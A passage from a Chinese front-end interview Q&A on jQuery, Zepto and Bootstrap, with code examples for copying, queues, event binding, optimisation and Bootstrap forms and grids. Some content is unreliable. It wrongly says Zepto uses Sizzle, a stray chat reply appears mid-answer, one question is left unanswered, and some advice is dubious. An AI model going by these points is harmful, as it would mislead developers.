var shallowCopy = $.extend({}, obj1);
shallowCopy.name = "Jane";
shallowCopy.hobbies.push("swimming");
shallowCopy.address.city = "San Francisco";

console.log(obj1); // 原始对象受到影响
console.log(shallowCopy);

// 深拷贝
var deepCopy = $.extend(true, {}, obj1);
deepCopy.name = "Mike";
deepCopy.hobbies.push("traveling");
deepCopy.address.city = "Chicago";

console.log(obj1); // 原始对象不受影响
console.log(deepCopy);

在上述示例中,浅拷贝的结果是 shallowCopy,它复制了 obj1 的属性,包括引用类型的数组 hobbies 和对象 address。当修改 shallowCopy 的属性值时,原始对象 obj1 也会受到影响。

而深拷贝的结果是 deepCopy,它同样复制了 obj1 的属性,但是在拷贝过程中,对于引用类型的属性值进行了深度拷贝。因此,修改 deepCopy 的属性值不会影响到原始对象 obj1

# 6 jQuery 的队列是如何实现的

jQuery 的队列是通过使用 queue()dequeue()clearQueue() 方法来实现的。

  • queue() 方法用于将一个或多个函数添加到指定元素的队列中。可以为每个队列命名,以便后续使用。函数将按照它们被添加到队列的顺序执行。
  • dequeue() 方法用于从队列中取出并执行队列中的下一个函数。它按照先进先出的顺序执行队列中的函数,并返回执行的结果。
  • clearQueue() 方法用于清空队列中的所有函数,使队列为空。

以下是一个示例,展示了如何使用队列控制方法:

var func1 = function() {
  console.log('事件1');
};

var func2 = function() {
  console.log('事件2');
};

var func3 = function() {
  console.log('事件3');
};

var func4 = function() {
  console.log('事件4');
};

// 入栈队列事件
$('#box').queue("queue1", func1);  // 将 func1 添加到 queue1 队列
$('#box').queue("queue1", func2);  // 将 func2 添加到 queue1 队列

// 替换队列事件
$('#box').queue("queue1", []);  // 清空 queue1 队列
$('#box').queue("queue1", [func3, func4]);  // 替换 queue1 队列为 func3 和 func4

// 获取队列事件(返回一个函数数组)
var queue1 = $('#box').queue("queue1");
console.log(queue1);  // [func3(), func4()]

// 出栈队列事件并执行
$('#box').dequeue("queue1"); // 执行 func3
$('#box').dequeue("queue1"); // 执行 func4

// 清空整个队列
$('#box').clearQueue("queue1"); // 清空 queue1 队列

在上述示例中,使用 queue() 方法将函数添加到名为 "queue1" 的队列中。然后,使用 dequeue() 方法从队列中取出并执行函数。使用 clearQueue() 方法可以清空整个队列。

请注意,上述示例中使用了 console.log() 函数来输出结果。你可以根据需要将其替换为适合你的代码的逻辑。

队列在 jQuery 中的主要应用场景包括:

  1. 动画效果:通过将多个动画函数添加到队列中,按照顺序依次执行,实现动画的连续效果。
$('#element').animate({property1: value1}, duration1)
  .animate({property2: value2}, duration2)
  .animate({property3: value3}, duration3);
  1. 异步操作:当需要按照特定的顺序执行一系列异步操作时,可以将这些操作添加到队列中,确保它们按照期望的顺序执行。
$('#button').click(function() {
  $('#loading').fadeIn().delay(2000).fadeOut(); // 显示加载动画
  $('#result').queue(function(next) {
    $.ajax({
      url: 'example.com',
      success: function(data) {
        $(this).html(data); // 异步请求完成后更新页面内容
        next(); // 执行下一个队列函数
      }
    });
  });
});
  1. 队列控制:通过队列控制方法,可以按照需要添加、移除、替换或清空队列中的函数,从而灵活地控制函数的执行顺序和流程。
$('#element').queue("myQueue", function(next) {
  // 队列函数的逻辑
  next(); // 执行下一个队列函数
});

$('#element').dequeue("myQueue"); // 执行队列函数

$('#element').clearQueue("myQueue"); // 清空队列

总之,队列在 jQuery 中用于管理和控制一系列函数的顺序执行,特别适用于动画效果、异步操作和队列控制的场景。

# 7 jQuery 中的 bind(), live(), delegate(), on()的区别

示例代码:

// bind()
$('#myButton').bind('click', function() {
  // 点击事件处理逻辑
});

// live()
$('#myButton').live('click', function() {
  // 点击事件处理逻辑
});

// delegate()
$('#myContainer').delegate('#myButton', 'click', function() {
  // 点击事件处理逻辑
});

// on()
$('#myButton').on('click', function() {
  // 点击事件处理逻辑
});

解释:

  • bind() 方法直接在目标元素上绑定事件处理程序,适用于静态元素。
  • live() 方法通过事件冒泡在 document 上捕获事件,可以处理动态添加的元素。但在 jQuery 1.7+ 版本中已被弃用,推荐使用 on() 方法代替。
  • delegate() 方法通过事件冒泡在指定的父元素上进行事件代理,可以精确指定事件的范围,适用于动态添加的元素。在 jQuery 1.7+ 版本中,推荐使用 on() 方法代替。
  • on() 方法是最新的事件绑定机制,可以替代 bind()live()delegate()。它可以在目标元素上直接绑定事件,也可以通过事件冒泡或事件代理进行处理。使用 on() 方法更加灵活和统一,是推荐的事件绑定方式。

请注意,以上示例是基于 jQuery 1.7+ 版本的用法,如果使用的是旧版本的 jQuery,部分方法可能已被弃用或行为有所不同。建议查阅对应版本的官方文档以获取详细信息。

# 8 是否知道自定义事件

自定义事件是一种在JavaScript中实现发布/订阅模式的方式,通过自定义事件可以实现模块间的解耦和更灵活的事件处理。

在原生JavaScript中,可以使用CustomEvent对象来创建自定义事件,然后使用addEventListener方法来监听事件,使用dispatchEvent方法来触发事件。

示例代码如下:

// 创建自定义事件
var customEvent = new CustomEvent('myEvent', { detail: { data: 'example' } });

// 监听事件
document.addEventListener('myEvent', function(event) {
  console.log('Event triggered: ' + event.detail.data);
});

// 触发事件
document.dispatchEvent(customEvent);

在jQuery中,可以使用on方法来绑定自定义事件的处理函数,使用trigger方法来触发自定义事件。

示例代码如下:

// 绑定自定义事件处理函数
$(document).on('myEvent', function(event, data) {
  console.log('Event triggered: ' + data);
});

// 触发自定义事件
$(document).trigger('myEvent', 'example');

通过自定义事件,可以实现模块之间的松耦合,使代码更加可维护和可扩展。

# 9 jQuery 通过哪个方法和 Sizzle 选择器结合的

在jQuery中,通过$().find()方法与Sizzle选择器结合使用来进行元素的查找和筛选。

示例代码如下:

// 在整个文档中查找符合条件的元素
var elements = $('body').find('.my-class');

// 在特定元素内部查找符合条件的子元素
var children = $('.parent-element').find('.child-class');

在上面的示例中,$().find()方法用于在指定的上下文中查找符合条件的元素。可以传递一个选择器作为参数,由Sizzle选择器引擎解析和执行。

通过$().find()方法,jQuery与Sizzle选择器结合,可以实现灵活的元素查找和筛选操作。

# 10 jQuery 中如何将数组转化为 JSON 字符串,然后再转化回来

// 通过原生 JSON.stringify/JSON.parse 扩展 jQuery 实现
 $.array2json = function(array) {
    return JSON.stringify(array);
 }

 $.json2array = function(array) {
    // $.parseJSON(array); // 3.0 开始,已过时
    return JSON.parse(array);
 }

 // 调用
 var json = $.array2json(['a', 'b', 'c']);
 var array = $.json2array(json);

# 11 jQuery 一个对象可以同时绑定多个事件,这是如何实现的

在jQuery中,可以使用.on()方法为一个对象同时绑定多个事件。

示例代码1:

$("#btn").on("mouseover mouseout", func);

上述代码中,通过.on()方法为#btn元素同时绑定了mouseovermouseout两个事件,它们都会调用同一个处理函数func

示例代码2:

$("#btn").on({
    mouseover: func1,
    mouseout: func2,
    click: func3
});

上述代码中,通过.on()方法为#btn元素同时绑定了mouseovermouseoutclick三个事件,分别指定了不同的处理函数func1func2func3

这样,当这些事件触发时,相应的处理函数将被调用。

通过将多个事件名称和处理函数作为参数传递给.on()方法,或者使用一个包含事件名称和处理函数的对象作为参数,可以实现为一个对象同时绑定多个事件。这样做既简洁又方便,可以提高代码的可读性和维护性。

# 12 针对 jQuery 的优化方法

  1. 缓存频繁操作 DOM 对象:
  • 当需要频繁操作某个 DOM 对象时,将其缓存到一个变量中可以避免不必要的 DOM 查询和遍历,提高代码的执行效率。
  1. 尽量使用 id 选择器代替 class 选择器:
  • 使用 id 选择器的性能比 class 选择器更高,因为 id 在页面中是唯一的,而 class 可能存在多个匹配项。
  1. 总是从 #id 选择器来继承:
  • 通过指定父级元素的 id 选择器来限定查找范围,这样可以减少选择器的搜索范围,提高查找速度。
  1. 尽量使用链式操作:
  • 链式操作可以减少不必要的 jQuery 对象的创建和查找,简化代码结构,提高代码的可读性和性能。
  1. 使用事件委托 on 绑定事件:
  • 通过将事件绑定在父元素上,利用事件冒泡机制,将事件处理委托给父元素处理,可以减少事件绑定的数量,提高性能。
  1. 采用 jQuery 的内部函数 data() 来存储数据:
  • 使用 data() 函数可以将数据附加到 DOM 元素上,避免在元素上存储额外的数据属性,减少内存占用和提高性能。
  1. 使用最新版本的 jQuery:
  • 每个版本的 jQuery 都在性能方面进行了优化和改进,使用最新版本可以获得更好的性能和稳定性。

通过应用这些优化方法,可以有效提升 jQuery 代码的执行效率和性能,提升用户体验。

下面给出一些示例代码来演示上述优化方法的应用:

  1. 缓存频繁操作 DOM 对象:
// 不优化的写法
for (var i = 0; i < $(".item").length; i++) {
  $(".item").eq(i).addClass("active");
}

// 优化后的写法
var $items = $(".item");
for (var i = 0; i < $items.length; i++) {
  $items.eq(i).addClass("active");
}
  1. 尽量使用 id 选择器代替 class 选择器:
// 不优化的写法
$(".container .item").addClass("active");

// 优化后的写法
$("#container #item").addClass("active");
  1. 总是从 #id 选择器来继承:
// 不优化的写法
$(".container .item").find(".sub-item").addClass("active");

// 优化后的写法
$("#container").find(".item").find(".sub-item").addClass("active");
  1. 尽量使用链式操作:
// 不优化的写法
$(".item").addClass("active");
$(".item").removeClass("hidden");
$(".item").show();

// 优化后的写法
$(".item").addClass("active").removeClass("hidden").show();
  1. 使用事件委托 on 绑定事件:
// 不优化的写法
$(".button").click(function() {
  // 处理点击事件
});

// 优化后的写法
$("#container").on("click", ".button", function() {
  // 处理点击事件
});
  1. 采用 jQuery 的内部函数 data() 来存储数据:
// 不优化的写法
$(".item").attr("data-value", "123");

// 优化后的写法
$(".item").data("value", "123");

这些示例代码展示了如何应用上述优化方法,根据具体的使用场景选择相应的优化方法可以提高 jQuery 代码的性能和执行效率。

# 13 jQuery 的 slideUp 动画,当鼠标快速连续触发, 动画会滞后反复执行,该如何处理呢

当鼠标快速连续触发导致动画滞后反复执行时,可以采取以下两种处理方式:

  1. 设置延迟处理:
  • 在触发元素上的事件处理函数中,使用 setTimeout 方法来延迟执行动画,从而避免快速连续触发造成动画滞后反复执行的问题。
$(".trigger").on("mouseover", function() {
  setTimeout(function() {
    $(".element").slideUp();
  }, 200);
});

上述代码中,通过设置 200 毫秒的延迟,在每次触发事件时先延迟一段时间后再执行动画,从而确保动画能够顺利完成。

  1. 停止所有动画并执行相应动画:
  • 在触发元素的事件处理函数中,可以先使用 stop 方法停止所有正在进行的动画,然后再执行相应的动画事件。
$(".trigger").on("mouseover", function() {
  $(".element").stop().slideUp();
});

通过调用 stop 方法,可以立即停止所有正在进行的动画,并清除动画队列,然后再执行新的动画事件。这样可以避免动画滞后反复执行的问题。

以上两种处理方式可以根据具体的情况选择使用,以确保动画的正常执行。

# 14 jQuery UI 如何自定义组件

通过向 $.widget() 方法传递组件名称和一个原型对象,可以自定义 jQuery UI 组件。具体的使用方法如下:

$.widget("ns.widgetName", [baseWidget], widgetPrototype);

其中:

  • "ns.widgetName" 是组件的名称,命名空间(ns)和组件名称(widgetName)可以根据实际情况进行替换。
  • [baseWidget] 是可选参数,表示组件的基础组件,可以是其他已定义的 jQuery UI 组件,用于扩展和继承基础组件的功能。
  • widgetPrototype 是一个包含组件方法和属性的原型对象,用于定义自定义组件的行为和外观。

以下是一个示例代码,演示如何自定义一个简单的 jQuery UI 组件:

$.widget("custom.customWidget", {
  // 组件的默认选项
  options: {
    color: "blue",
    fontSize: 12
  },
  
  // 组件的创建函数,初始化组件
  _create: function() {
    this.element
      .addClass("custom-widget")
      .text("Custom Widget");

    this._refresh();
  },
  
  // 刷新组件,根据选项更新外观
  _refresh: function() {
    this.element.css({
      color: this.options.color,
      fontSize: this.options.fontSize + "px"
    });
  },
  
  // 设置选项的方法
  _setOption: function(key, value) {
    this._super(key, value);
    this._refresh();
  }
});

上述示例中,定义了一个名为 customWidget 的自定义组件。组件具有默认选项 colorfontSize,在创建函数 _create 中初始化组件,并在 _refresh 方法中根据选项更新外观。使用 _setOption 方法来设置选项并触发刷新。

使用自定义组件时,可以通过以下方式进行初始化和设置选项:

$("#myElement").customWidget(); // 初始化自定义组件

$("#myElement").customWidget("option", "color", "red"); // 设置选项

通过以上方式,可以自定义 jQuery UI 组件并进行初始化和配置。

# 15 jQuery 与 jQuery UI、jQuery Mobile 区别

  • jQuery 是一个功能强大的 JavaScript 库,主要用于简化和增强 JavaScript 开发中的 DOM 操作、事件处理、动画效果和 AJAX 请求等。它主要面向 PC 浏览器环境,使开发者能够更方便地操作和操控网页元素。
  • jQuery UI 则是建立在 jQuery 库的基础上的一个用户界面库。它提供了一系列交互性的特效、小部件和主题,用于创建丰富而美观的用户界面。jQuery UI 的组件包括对话框、拖拽、排序、自动完成等,开发者可以根据自己的需要选择和配置相应的组件。
  • jQuery Mobile 是一个专门针对移动设备的框架,也是基于 jQuery 的。它提供了一套用于构建移动 Web 应用的工具和组件,使开发者能够快速创建适配移动设备的界面和交互效果。jQuery Mobile 的组件包括页面导航、按钮、表单元素、触摸事件等,可以帮助开发者构建具有响应式和触摸友好的移动应用程序。

综上所述,jQuery 主要用于 PC 浏览器环境下的 Web 开发,jQuery UI 则提供了丰富的用户界面组件和主题,而 jQuery Mobile 则专注于移动设备上的 Web 应用开发。每个库都有自己的特点和应用场景,可以根据具体的需求选择使用。

# 16 jQuery 和 Zepto 的区别? 各自的使用场景

你的总结很准确。

  • jQuery 是一个功能强大的 JavaScript 库,主要面向 PC 网页开发,并兼容主流的浏览器。它提供了丰富的功能和跨浏览器的兼容性,可以方便地进行 DOM 操作、事件处理、动画效果和 AJAX 请求等。在移动设备方面,jQuery 单独推出了 jQuery Mobile,用于移动端的 Web 应用开发。
  • Zepto 是一个专注于移动设备的 JavaScript 库,它的设计目标是提供轻量级的库并具有良好的性能。Zepto 的 API 基本兼容 jQuery,可以方便地进行 DOM 操作、事件处理和动画效果等。由于它专注于移动设备,所以在移动端的性能和兼容性方面表现更好。然而,在 PC 浏览器上的兼容性并不如 jQuery

因此,jQuery 主要用于 PC 网页开发,适用于需要广泛兼容各类浏览器的项目。而 Zepto 则更适用于移动设备的开发,尤其是在对性能和轻量级要求较高的移动应用中。根据具体的项目需求和目标平台选择合适的库是很重要的。

# 17 jQuery对象的特点

  • jQuery 对象是由 jQuery 构造函数创建的对象,它是一个类数组对象。
  • jQuery 对象是通过选择器选择的一组元素,可以对这组元素进行操作和处理。
  • jQuery 对象具有 jQuery 库提供的一系列方法,可以方便地进行 DOM 操作、事件处理、动画效果和数据交互等。
  • jQuery 对象可以使用 jQuery 的方法进行链式调用,提高代码的简洁性和可读性。

需要注意的是,jQuery 对象并不是真正的数组,虽然它类似于数组,但不具备数组的所有特性。但可以使用类数组对象的一些方法,如 .each().length

示例:

var $divs = $('div'); // 选择所有的 div 元素,返回一个 jQuery 对象
console.log($divs.length); // 输出 div 元素的数量

$divs.hide().fadeIn(); // 链式调用方法,隐藏 div 元素然后淡入显示
$divs.each(function() {
  // 遍历每个 div 元素并执行回调函数
  console.log($(this).text()); // 输出每个 div 元素的文本内容
});

总结起来,jQuery 对象是一个特殊的对象,它代表了一组元素,并提供了方便的方法和链式调用,以简化对这组元素的操作。

# 18 Zepto的实现原理

Zepto 是一个轻量级的 JavaScript 库,旨在提供类似于 jQuery 的功能,但专注于移动设备的 Web 开发。它的实现原理如下:

  1. 核心选择器功能:Zepto 使用 CSS 选择器引擎 Sizzle 来实现元素的选择和遍历。Sizzle 是一个独立的选择器库,它使用了 CSS3 选择器语法和一些扩展来支持复杂的选择操作。
  2. DOM 操作:Zepto 封装了一系列 DOM 操作方法,如添加、删除、修改和查询元素等。它通过原生 DOM API 来实现这些方法,并对其进行了封装和优化,以提供更便捷的操作接口。
  3. 事件处理:Zepto 提供了一套事件处理机制,通过绑定和触发事件来实现交互功能。它使用原生的 DOM 事件来处理事件,并提供了一些简化和增强的方法,如 on()off()trigger() 等。
  4. 动画效果:Zepto 支持基本的动画效果,如淡入淡出、滑动、渐变等。它通过改变元素的 CSS 属性值和使用定时器来实现动画效果,同时对动画进行了优化,以提高性能和流畅度。
  5. AJAX 请求:Zepto 提供了简单的 AJAX 功能,可以发送异步请求并处理服务器返回的数据。它使用原生的 XMLHttpRequest 对象来实现 AJAX 请求,并提供了一些便捷的方法,如 $.ajax()$.get()$.post() 等。
  6. 扩展插件:Zepto 支持通过插件扩展其功能。开发者可以根据需要编写自定义插件,并将其集成到 Zepto 中,以提供更多的功能和特性。

总体而言,Zepto 的实现原理是基于原生的 DOM API 和一些辅助库,通过封装和优化,提供了类似于 jQuery 的功能,并专注于移动设备的 Web 开发。它的目标是提供简洁、高效的代码,以满足移动设备上的性能和资源要求。

以下是 Zepto 的一些常见用法示例代码:

  1. 选择器和 DOM 操作:
// 通过选择器获取元素并操作
var $element = $('.my-element');
$element.addClass('highlight');
$element.text('Hello, Zepto!');

// 创建新元素并插入到页面中
var $newElement = $('<div class="new-element">New Element</div>');
$('body').append($newElement);
  1. 事件处理:
// 绑定事件处理函数
$('.my-button').on('click', function() {
  console.log('Button clicked!');
});

// 解绑事件处理函数
$('.my-button').off('click');

// 触发自定义事件
$('.my-element').trigger('customEvent');
  1. 动画效果:
// 淡入淡出效果
$('.my-element').fadeIn();
$('.my-element').fadeOut();

// 滑动效果
$('.my-element').slideDown();
$('.my-element').slideUp();

// 渐变效果
$('.my-element').animate({ opacity: 0.5 }, 500);
  1. AJAX 请求:
// 发送 GET 请求
$.get('https://api.example.com/data', function(response) {
  console.log('Response:', response);
});

// 发送 POST 请求
$.post('https://api.example.com/data', { name: 'poetry', age: 25 }, function(response) {
  console.log('Response:', response);
});

这些示例代码展示了 Zepto 的一些常见用法,包括选择器和 DOM 操作、事件处理、动画效果以及 AJAX 请求。请注意,Zepto 的用法与 jQuery 类似,但并不完全兼容 jQuery 的所有功能和方法。

# 19 是否用过 jQuery 的 Deferred

# 五、Bootstrap相关

# 1 什么是Bootstrap?以及为什么要使用Bootstrap?

Bootstrap是一个流行的开源前端框架,用于快速构建响应式和移动优先的网站和Web应用程序。它基于HTML、CSS和JavaScript,并提供了一套预定义的样式和组件,使开发人员能够快速构建现代化、美观和功能丰富的界面。

使用Bootstrap的原因如下:

  1. 快速开发: Bootstrap提供了大量的预定义样式和组件,开发人员可以通过简单地应用这些样式和组件来快速构建页面和布局。这样可以节省大量的时间和精力,加快项目的开发速度。
  2. 响应式设计: Bootstrap具有响应式设计的特性,能够适应不同屏幕大小和设备类型的展示。无论是在桌面电脑、平板还是手机上,页面都能够自动适配和呈现最佳的用户体验。
  3. 浏览器兼容性: Bootstrap经过广泛的测试和优化,能够在各种主流浏览器中保持一致的显示效果和功能。开发人员不需要为不同浏览器的差异而担心,可以放心地使用Bootstrap来开发跨浏览器兼容的网站和应用程序。
  4. 组件丰富: Bootstrap提供了大量的UI组件,例如导航菜单、按钮、表格、表单、模态框等,这些组件具有统一的样式和交互效果,可以快速构建出现代化的用户界面。
  5. 社区支持和文档丰富: Bootstrap拥有庞大的开发者社区,有许多开发者在使用和贡献Bootstrap,因此可以轻松获取到各种问题的解答和技术支持。此外,官方提供了详细的文档和示例,开发人员可以方便地学习和使用Bootstrap

总而言之,使用Bootstrap可以使开发人员更加高效地构建现代化的网站和Web应用程序,减少重复工作,提高开发速度,并确保页面具有良好的用户体验和浏览器兼容性。

# 2 使用Bootstrap时,要声明的文档类型是什么?以及为什么要这样声明?

在使用Bootstrap时,需要在HTML文件的开头声明HTML5文档类型(Doctype),即<!DOCTYPE html>。这是因为Bootstrap使用了一些HTML5的新特性、元素和CSS属性,而HTML5文档类型的声明能够告诉浏览器使用HTML5的解析方式来解析页面内容。

声明HTML5文档类型的重要性在于:

  1. 使用HTML5特性: 声明HTML5文档类型后,开发人员可以在页面中使用HTML5新增的元素、属性和API,如<section>、<header>、<footer>、<nav>等。这些新特性可以提供更好的语义化结构,以及更丰富和灵活的功能。
  2. 浏览器解析方式: 声明HTML5文档类型可以让浏览器按照HTML5的规范来解析和渲染页面,确保页面在各种浏览器中一致地显示。不同的文档类型会触发不同的浏览器解析模式,而HTML5的解析模式更符合现代化的标准和规范。
  3. 代码验证: 使用HTML5文档类型声明可以使代码通过W3C标准的验证,符合Web开发的最佳实践。W3C验证能够帮助开发人员发现和修复代码中的错误和潜在问题,提高代码的质量和可靠性。
  4. 未来兼容性: HTML5是Web发展的趋势和标准,使用HTML5文档类型声明可以确保页面在未来的Web环境中保持良好的兼容性。同时,它也是使用其他HTML5相关技术和框架的前提条件,如Canvas、Web Components等。

总之,声明HTML5文档类型是使用Bootstrap时的必要步骤,它能够确保页面能够正常使用Bootstrap提供的样式和组件,并且能够充分利用HTML5的新特性和浏览器解析方式,以获得更好的开发和用户体验。

# 3 什么是Bootstrap网格系统

Bootstrap网格系统是Bootstrap框架中的一个核心组件,用于创建响应式的网页布局。它基于一个12列的栅格系统,可以根据设备或视口的大小,将页面水平分割为不同的列。

关键特点如下:

  1. 响应式设计: Bootstrap的网格系统是响应式的,可以自动适应不同屏幕尺寸,从大屏幕到小屏幕,如桌面、平板和移动设备。网格系统的列会自动调整和重新排列,以适应不同的视口大小,从而提供更好的用户体验。
  2. 12列栅格系统: 网格系统将页面水平分为12列,并使用CSS的类来定义每个元素所占的列数。开发人员可以根据需要将元素放置在这些列中,从而创建灵活的布局。列数可以是整数,也可以是小数,以实现更精细的布局。
  3. 容器和行: 网格系统由容器(container)和行(row)组成。容器是网格系统的最外层包裹元素,用于限制网格内容的宽度,并提供水平的内边距。行是容器内的一行元素,用于包含网格列。每一行被分割为12个等宽的列。
  4. 列(Column): 列是网格系统的基本单位,位于行内,用于放置内容。开发人员可以通过为列添加CSS类来定义其所占的列数,如col-md-6表示该列占据父容器的一半宽度。可以根据需要在不同的屏幕尺寸上指定不同的列宽。

通过使用Bootstrap的网格系统,开发人员可以轻松创建具有灵活布局的响应式网页。网格系统提供了简单易用的类,使得网页元素可以自适应不同的屏幕尺寸,从而提供了一致的用户体验,并且可以根据需要进行自定义和扩展。

# 4 Bootstrap 网格系统(Grid System)的工作原理

Bootstrap网格系统的工作原理如下:

  1. 容器(Container): 在使用Bootstrap网格系统之前,需要将行(Row)放置在.container类内。容器提供适当的对齐和内边距,并将网格内容限制在特定宽度范围内。
  2. 行(Row): 行用于创建列的水平组。行必须是容器的直接子元素。通过将元素放置在行内,可以将其划分为网格列,并确定它们在水平方向上的排列方式。
  3. 列(Column): 列是网格系统的基本单位,用于放置内容。列必须是行的直接子元素。使用预定义的网格类(例如.col-xs-4)可以快速创建网格布局。通过指定要横跨的列数,可以将内容放置在相应的列中,例如.col-xs-4表示占据12个列中的4个列,即1/3的宽度。
  4. 列间距(Gutter): 列之间的间距是通过列内的内边距(padding)来创建的。网格系统使用负外边距(margin)在行上来抵消列的内边距,从而实现列之间的间隔。这样可以确保列之间没有额外的空白间隙。
  5. 列宽度: Bootstrap网格系统将页面水平分为12列。通过指定要横跨的列数,可以控制列的宽度。例如,如果想要创建三个相等宽度的列,可以使用三个.col-xs-4,每个列占据12个列中的4个列,即1/3的宽度。

通过遵循以上原则,可以利用Bootstrap网格系统快速创建具有灵活布局的网页。网格类提供了简单且易于使用的方式来定义列的宽度和排列方式,而预定义的样式和混合类则可用于更高级的布局需求。

# 5 对于各类尺寸的设备,Bootstrap设置的class前缀分别是什么

  • 超小设备手机(<576px):.col-
  • 小型设备平板电脑(>=576px):.col-sm-
  • 中型设备台式电脑(>=768px):.col-md-
  • 大型设备台式电脑(>=992px):.col-lg-
  • 超大型设备台式电脑(>=1200px):.col-xl-

请注意,Bootstrap 4中的class前缀在移动优先的设计下发生了变化。超小设备手机没有前缀,而其他尺寸的设备都使用相应的前缀进行类名设置。这些前缀用于指定列的宽度和响应式行为。

# 6 Bootstrap 网格系统列与列之间的间隙宽度是多少

在 Bootstrap 中,默认的列与列之间的间隙宽度是 30px。这个间隙宽度是通过列的内边距(padding)来实现的,每个列的左右内边距都是 15px。这样可以在列与列之间创建一个空白间隔,用于提供视觉上的分隔和排列。

# 7 如果需要在一个标题的旁边创建副标题,可以怎样操作

要在一个标题的旁边创建副标题,可以使用以下两种方式进行操作:

  1. 使用 <small> 元素:在标题元素内部的旁边添加一个 <small> 元素,并在该元素中放置副标题的内容。示例代码如下:
<h1>主标题 <small>副标题</small></h1>

在上述示例中,<h1> 元素表示主标题,而 <small> 元素表示副标题。

  1. 使用 .small 类:给标题元素添加一个 .small 的类,然后在 CSS 中定义该类的样式。示例代码如下:
<h1 class="small">主标题</h1>

在上述示例中,通过给 <h1> 元素添加 .small 类,可以在 CSS 中为该类定义副标题的样式。

无论是使用 <small> 元素还是添加 .small 类,都可以在标题的旁边创建副标题,并通过样式进行调整。选择哪种方式取决于具体的需求和设计风格。

# 8 用Bootstrap,如何设置文字的对齐方式?

在 Bootstrap 中,可以使用以下类来设置文字的对齐方式:

  • text-center:用于将文本居中对齐。
  • text-right:用于将文本向右对齐。
  • text-left:用于将文本向左对齐。

这些类可以应用于任何文本元素,例如 <p><h1><span> 等。示例代码如下:

<p class="text-center">居中对齐的文本</p>
<h1 class="text-right">向右对齐的标题</h1>
<span class="text-left">向左对齐的文本</span>

通过给相应的元素添加适当的类,即可设置文本的对齐方式。请根据需要选择相应的类来实现所需的对齐效果。

# 9 Bootstrap如何设置响应式表格?

要创建响应式的表格,可以将表格包裹在具有 table-responsive 类的父元素中。这样可以使表格在小屏幕设备上水平滚动,并保持适当的显示。

下面是设置响应式表格的示例代码:

<div class="table-responsive">
  <table class="table">
    <!-- 表格内容 -->
  </table>
</div>

通过将表格包裹在具有 table-responsive 类的 <div> 元素中,即可实现响应式的表格。当表格在小屏幕设备上无法适应屏幕宽度时,用户可以通过水平滚动来查看表格的内容。

请注意,响应式表格需要使用 table 类来设置基本的表格样式。可以根据需要添加其他 Bootstrap 提供的表格类,如表格样式类(table-stripedtable-bordered 等)和表格颜色类(table-primarytable-success 等)等。

# 10 使用Bootstrap创建垂直表单的基本步骤?

使用 Bootstrap 创建垂直表单的基本步骤如下:

  1. 创建一个 <form> 元素,并添加 role="form" 属性,用于标识该表单的角色。
<form role="form">
  <!-- 表单内容 -->
</form>
  1. 将每个表单项(标签和控件)放置在一个带有 class="form-group"<div> 元素中,这样可以获得最佳的间距和样式。
<form role="form">
  <div class="form-group">
    <!-- 表单项 -->
  </div>
</form>
  1. 将文本输入框 <input>、文本域 <textarea> 和下拉菜单 <select> 元素添加 class="form-control" 类,以应用 Bootstrap 提供的样式和布局。
<form role="form">
  <div class="form-group">
    <label for="name">姓名:</label>
    <input type="text" class="form-control" id="name" placeholder="请输入姓名">
  </div>
  <div class="form-group">
    <label for="email">邮箱:</label>
    <input type="email" class="form-control" id="email" placeholder="请输入邮箱">
  </div>
  <div class="form-group">
    <label for="message">留言:</label>
    <textarea class="form-control" id="message" placeholder="请输入留言内容"></textarea>
  </div>
</form>

通过以上步骤,你可以使用 Bootstrap 创建一个简单的垂直表单。你可以根据需要添加更多的表单项,并根据 Bootstrap 提供的文档进行样式和布局的调整。

# 11 使用Bootstrap创建水平表单的基本步骤?

使用 Bootstrap 创建水平表单的基本步骤如下:

  1. 创建一个 <form> 元素,并添加 class="form-horizontal" 类,以便应用水平表单的样式。
<form class="form-horizontal">
  <!-- 表单内容 -->
</form>
  1. 将每个表单项(标签和控件)放置在一个带有 class="form-group"<div> 元素中,以获得最佳的间距和样式。
<form class="form-horizontal">
  <div class="form-group">
    <!-- 表单项 -->
  </div>
</form>
  1. 在标签元素中添加 class="control-label" 类,以标识其为表单项的标签。
<form class="form-horizontal">
  <div class="form-group">
    <label for="name" class="control-label">姓名:</label>
    <div class="col-sm-8">
      <input type="text" class="form-control" id="name" placeholder="请输入姓名">
    </div>
  </div>
  <div class="form-group">
    <label for="email" class="control-label">邮箱:</label>
    <div class="col-sm-8">
      <input type="email" class="form-control" id="email" placeholder="请输入邮箱">
    </div>
  </div>
</form>

通过以上步骤,你可以使用 Bootstrap 创建一个简单的水平表单。你可以根据需要添加更多的表单项,并根据 Bootstrap 提供的文档进行样式和布局的调整。

# 12 使用Bootstrap如何创建表单控件的帮助文本?

要在 Bootstrap 中创建表单控件的帮助文本,可以按照以下步骤进行操作:

  1. 将帮助文本放置在与表单控件相关联的 <div><form-group> 元素内。
<div class="form-group">
  <label for="exampleInputName">姓名</label>
  <input type="text" class="form-control" id="exampleInputName">
  <!-- 帮助文本 -->
</div>
  1. 在帮助文本的标签(通常是 <span><p>)中添加 class="help-block"
<div class="form-group">
  <label for="exampleInputName">姓名</label>
  <input type="text" class="form-control" id="exampleInputName">
  <span class="help-block">这里是帮助文本</span>
</div>

通过以上步骤,你可以在 Bootstrap 的表单控件中添加帮助文本。帮助文本将根据 Bootstrap 的样式进行显示,并提供相关的提示或指导信息。你可以根据需要自定义帮助文本的样式。

# 13 使用Bootstrap激活或禁用按钮要如何操作?

要在 Bootstrap 中激活或禁用按钮,可以按照以下步骤进行操作:

  • 激活按钮:给按钮添加 .activeclass
<button type="button" class="btn btn-primary active">激活按钮</button>
  • 禁用按钮:给按钮添加 disabled="disabled" 的属性。
<button type="button" class="btn btn-primary" disabled="disabled">禁用按钮</button>

通过以上步骤,你可以在 Bootstrap 中激活或禁用按钮。激活按钮将应用活动状态的样式,禁用按钮将禁用按钮的交互性并应用禁用状态的样式。

# 14 Bootstrap有哪些关于img的class?

在 Bootstrap 中,有以下关于 <img> 元素的类(class)可用:

  • .img-rounded:为图片添加圆角效果
<img src="image.jpg" class="img-rounded" alt="圆角图片">
  • .img-circle:将图片呈现为圆形。
<img src="image.jpg" class="img-circle" alt="圆形图片">
  • .img-thumbnail:为图片添加缩略图样式。
<img src="image.jpg" class="img-thumbnail" alt="缩略图">
  • .img-responsive:使图片具有响应式特性,可以根据父元素的大小自动调整图片的尺寸。
<img src="image.jpg" class="img-responsive" alt="响应式图片">

通过使用这些类,可以为图片添加不同的样式和功能,以满足项目的需求。

# 15 Bootstrap中有关元素浮动及清除浮动的class?

在 Bootstrap 中,有以下关于元素浮动及清除浮动的类(class)可用:

